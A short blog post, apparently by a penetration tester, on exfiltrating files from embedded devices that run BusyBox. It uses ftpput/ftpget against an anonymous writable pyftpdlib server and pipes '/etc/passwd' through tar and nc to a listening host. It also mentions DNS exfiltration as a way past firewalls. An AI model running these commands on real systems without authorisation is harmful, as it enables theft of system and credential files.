Exfiltrating files with BusyBox


This is a super quick post on a simple method to exfiltrate data from systems running BusyBox, a shell commonly used on embedded devices. Such systems often lack common tools, presenting a challenge when you need to move data about. When I first looked into this topic I found solutions which were too specific or complex, so I hope this post is useful.

The BusyBox man page lists commonly available commands, which currently include *deep breath*:

[, [[, acpid, add-shell, addgroup, adduser, adjtimex, ar, arp, arping, awk, base64, basename, bbconfig, beep, blkid, blockdev, bootchartd, brctl, bunzip2, bzcat, bzip2, cal, cat, catv, chat, chattr, chgrp, chmod, chown, chpasswd, chpst, chroot, chrt, chvt, cksum, clear, cmp, comm, conspy, cp, cpio, crond, crontab, cryptpw, cttyhack, cut, date, dc, dd, deallocvt, delgroup, deluser, depmod, devfsd, devmem, df, dhcprelay, diff, dirname, dmesg, dnsd, dnsdomainname, dos2unix, dpkg, dpkg-deb, du, dumpkmap, dumpleases, echo, ed, egrep, eject, env, envdir, envuidgid, ether-wake, expand, expr, fakeidentd, false, fbset, fbsplash, fdflush, fdformat, fdisk, fgconsole, fgrep, find, findfs, flash_eraseall, flash_lock, flash_unlock, flashcp, flock, fold, free, freeramdisk, fsck, fsck.minix, fsync, ftpd, ftpget, ftpput, fuser, getopt, getty, grep, gunzip, gzip, halt, hd, hdparm, head, hexdump, hostid, hostname, httpd, hush, hwclock, id, ifconfig, ifdown, ifenslave, ifplugd, ifup, inetd, init, inotifyd, insmod, install, ionice, iostat, ip, ipaddr, ipcalc, ipcrm, ipcs, iplink, iproute, iprule, iptunnel, kbd_mode, kill, killall, killall5, klogd, last, length, less, linux32, linux64, linuxrc, ln, loadfont, loadkmap, logger, login, logname, logread, losetup, lpd, lpq, lpr, ls, lsattr, lsmod, lspci, lsusb, lzcat, lzma, lzop, lzopcat, makedevs, makemime, man, md5sum, mdev, mesg, microcom, mkdir, mkdosfs, mke2fs, mkfifo, mkfs.ext2, mkfs.minix, mkfs.reiser, mkfs.vfat, mknod, mkpasswd, mkswap, mktemp, modinfo, modprobe, more, mount, mountpoint, mpstat, msh, mt, mv, nameif, nanddump, nandwrite, nbd-client, nc, netstat, nice, nmeter, nohup, nslookup, ntpd, od, openvt, passwd, patch, pgrep, pidof, ping, ping6, pipe_progress, pivot_root, pkill, pmap, popmaildir, poweroff, powertop, printenv, printf, ps, pscan, pwd, raidautorun, rdate, rdev, readahead, readlink, readprofile, realpath, reboot, reformime, remove-shell, renice, reset, resize, rev, rfkill, rm, rmdir, rmmod, route, rpm, rpm2cpio, rtcwake, run-parts, runlevel, runsv, runsvdir, rx, script, scriptreplay, sed, sendmail, seq, setarch, setconsole, setfont, setkeycodes, setlogcons, setsid, setuidgid, sh, sha1sum, sha256sum, sha512sum, showkey, slattach, sleep, smemcap, softlimit, sort, split, start-stop-daemon, stat, strings, stty, su, sulogin, sum, sv, svlogd, swapoff, swapon, switch_root, sync, sysctl, syslogd, tac, tail, tar, taskset, tcpsvd, tee, telnet, telnetd, test, tftp, tftpd, time, timeout, top, touch, tr, traceroute, traceroute6, true, tty, ttysize, tunctl, tune2fs, ubiattach, ubidetach, udhcpc, udhcpd, udpsvd, umount, uname, uncompress, unexpand, uniq, unix2dos, unlzma, unlzop, unxz, unzip, uptime, usleep, uudecode, uuencode, vconfig, vi, vlock, volname, wall, watch, watchdog, wc, wget, which, who, whoami, xargs, xz, xzcat, yes, zcat, zcip

Spot anything interesting? The commands ftpget and ftpput should stand out, and they do exactly what you'd expect. Note that there may not be a symlink to the commands on a given system even if they're compiled into BusyBox - if running ftpput returns "not found" try busybox ftpput to access the command (the applet in BusyBox parlance).

Listening for files

All you need now is a listening FTP server. Any will do, but I found pyftpdlib - an "extremely fast Python FTP server" - perfect for this purpose. To get it working, install the library on your server (most distros have a package) then fire it up in the directory where you want to send or receive files like this:

python3 -m pyftpdlib -w

By default the server listens on port 2121, which can be changed with the -p flag. The -w flag tells the module to allow files to be written. Presto, a working anonymous FTP server! For more options, run the module with the -h option.

To send files from the BusyBox instance to your server, you can now run:

ftpput <server_ip:port> <local_filename> <remote_filename>

Similarly, you can get files from your server by running:

ftpget <server_ip:port> <remote_filename>

pyftpdlib receiving a file

Simple, eh?

Quick update: As noted by bcook over on Hacker News the nc command is also a nice option. I chose to use ftpput and ftpget as I've found them more commonly compiled into the BusyBox binary on devices that I've tested, perhaps due to the ubiquity of FTP, but if nc and tar are available on your target system you can transfer files like this:

On receiving host:

nc -lv -p 1337 | tar -xf -

And on the BusyBox end:

tar -cf - /etc/passwd | nc <server_ip>:1337

Another quick update: As Frans says over on Twitter, if you've got wget available you can always set up a webserver and listening script, and while unfortunately the --post-file option isn't available on BusyBox, you have control of the user agent and headers - I'll leave that one as an exercise for the reader!

Also Justin brought up DNS exfiltration - this one takes a bit more effort but is worth mentioning as it has the nice property of being able to slip by most firewalls; if DNS resolution is allowed, you can almost guarantee your data will get out too.

And if those methods all fail, there's always base64 and copy + paste!